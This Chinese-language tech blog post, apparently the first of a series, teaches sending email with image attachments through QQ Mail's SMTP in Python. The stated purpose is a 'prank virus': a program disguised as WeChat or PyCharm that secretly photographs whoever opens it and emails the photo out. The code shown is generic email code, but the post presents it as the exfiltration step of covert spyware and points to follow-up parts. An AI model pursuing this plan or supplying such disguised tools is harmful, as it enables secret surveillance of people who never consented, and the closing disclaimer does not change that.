用Python自动发邮件,告别手动模式!
共 2720字,需浏览 6分钟
·
2021-07-30 18:48
只做有积累的事情,毕竟”厚的“载物。——杨数Tos
0
前言:
大家好,我是杨数Tos!
不知道大家有没有这样一种感觉,学了那么久的技术,除了工作中用到之外,好像啥也干不了?(特别是零基础学python的同学)
在这里阿数写一段简单的”病毒整蛊“代码,实现的功能是:
将一段程序伪装成微信或者其他软件,别人打开之后会正常打开软件,但程序会偷偷拍一张照片,并将照片发送到指定的邮箱。
正文开始
假如你想写一个“病毒整蛊”程序和朋友开玩笑,你需要经过以下几步的处理工作:
1、实现“病毒”主体功能(如:实现拍照片功能)
2、将主体功能获取到的信息发送给你或朋友(发邮件功能)
3、将程序打包成为一个可执行的程序,让你朋友在不经意间安装。
4、向你朋友炫耀,并大声“嘲笑“,哈哈哈!
这篇文章主要内容是:利用Python实现邮件的发送。
1
先了解一些发邮件的基础常识
首先,我们还上网都会依赖http协议,而发邮件、下载邮件都涉及到网络传输,必然会涉及到传输协议。
上网:HTTP协议+SSL加密,默认端口443;
那么:
发邮件:SMTP协议+TLS加密,默认端口25;
下载邮件:IMAP协议+SSL加密,默认端口143;
邮件多用途协议:MIME协议,主要用于添加附件之类的操作。
我们需要发邮件功能,则需要到邮箱设置中,开启SMTP协议这个功能。
PS:
不用去理解什么是SMTP协议、什么是IMAP协议,有这个概念,会用即可。(想深入研究,估计得掉几千根头发!)
2
开启邮箱的smtp功能
不同的邮箱开启SMTP协议的方法都差不多,这里面以QQ邮箱作为参考:
1、登陆邮箱,点击”设置“,点击”账户“;
2、下拉,找到”SMTP/IMAP服务“,按照提示发送短信,开启smtp功能即可。
3、获取到”授权码“,保存,一会用到。
PS:QQ邮箱在开启SMTP服务之前,要先设置”QQ邮箱 独立密码“。
3
编写代码,发送邮件
我们平常手动发邮件,要经过3步操作:
1、登陆邮箱;
2、编辑邮件内容;
3、发送邮件,然后退出;
当我们使用代码发送邮件,它的操作步骤也是完全一样的。
以下是简洁版代码:
import smtplib
# 1、打开邮箱地址,登陆
qq_server = smtplib.SMTP_SSL("smtp.qq.com",465)
# 2、登陆QQ邮箱,邮箱名+授权码
qq_server.login("ddddd@qq.com","lu3241hih")
# 3、发送邮件
qq_server.sendmail("发送者","接收者","要发送的内容")
# 4、退出登陆
qq_server.quit()
因为我们发送的邮件不仅需要邮件标题、邮件正文、邮件附件,而且我们还需要保证所发送的邮件不被识别为垃圾邮件,我们需要对邮件的内容进行”包裹“处理。
以下是修改版代码:
import smtplib
# 用来处理邮件正文
from email.mime.text import MIMEText
# 用来处理邮件的标题
from email.header import Header
# 用来处理邮件的附件,将邮件内容与附件进行拼接
from email.mime.multipart import MIMEMultipart
# 用来处理附件中的图片
from email.mime.image import MIMEImage
# 一、先设置好要发送的邮件的内容
# 标题
msg_title = "this is title 标题"
# 正文
msg_text = "this is mail text 正文"
# 1、正文与标题信息的转化
msg = MIMEText(msg_text,"plain","utf8")
# 二、附件的设置,
img_path = "头像.png"
# 获取附件的内容,附件都是以rb械打开,
# 一般图片都是以b模式(二进制)打开
img_text = MIMEImage(open(img_path,"rb").read())
# 附件图片必须添加的参数,Content-Disposition:表示附件图片可显示;
# attachment:保证附件图片可以预览。
img_text.add_header("Content-Disposition","attachment",
filename="图片.png")
# 如果有多个附件,就重复一遍
# 三、将附件与正文内容进行拼接
#实例化一个内容拼接对象
m = MIMEMultipart()
# 拼接内容
m.attach(msg)
# 拼接附件
m.attach(img_text)
# 注意:标题、发送者、接收者这些信息的添加必须在这里,
# 否则会没有以上信息,因为了被覆盖掉了
m["Subject"] = Header(msg_title,"utf8")
m["From"] = "{}".format("发送者邮箱@qq.com")
m["To"] = ",".join(["接收者邮箱@qq.com"])
# 四、登陆邮件,发送邮件,退出登陆
qq_server = smtplib.SMTP_SSL("smtp.qq.com",465)
qq_server.login("邮箱账号@qq.com","授权码")
qq_server.sendmail("发送者@qq.com","接收者@qq.com",
m.as_string())
qq_server.quit()
PS:把代码放到文章里面好麻烦啊!!
最终,邮件发送成功:
以上是本文章的内容,下一篇文章:将代码打包成exe可执行文件,将伪装成某个软件,比如:伪装为 pycharm怎么样?
注:这是系列文章,如果您需要文章中的完整版源代码,请关注杨数Tos,回【拍照zg 】即可。
提示:以上内容,仅作为杨数Tos个人的技术分享,纯粹游戏之作,请勿用于非法用途。
本文由杨数Tos原创,欢迎关注,一起长知识。
往期内容
end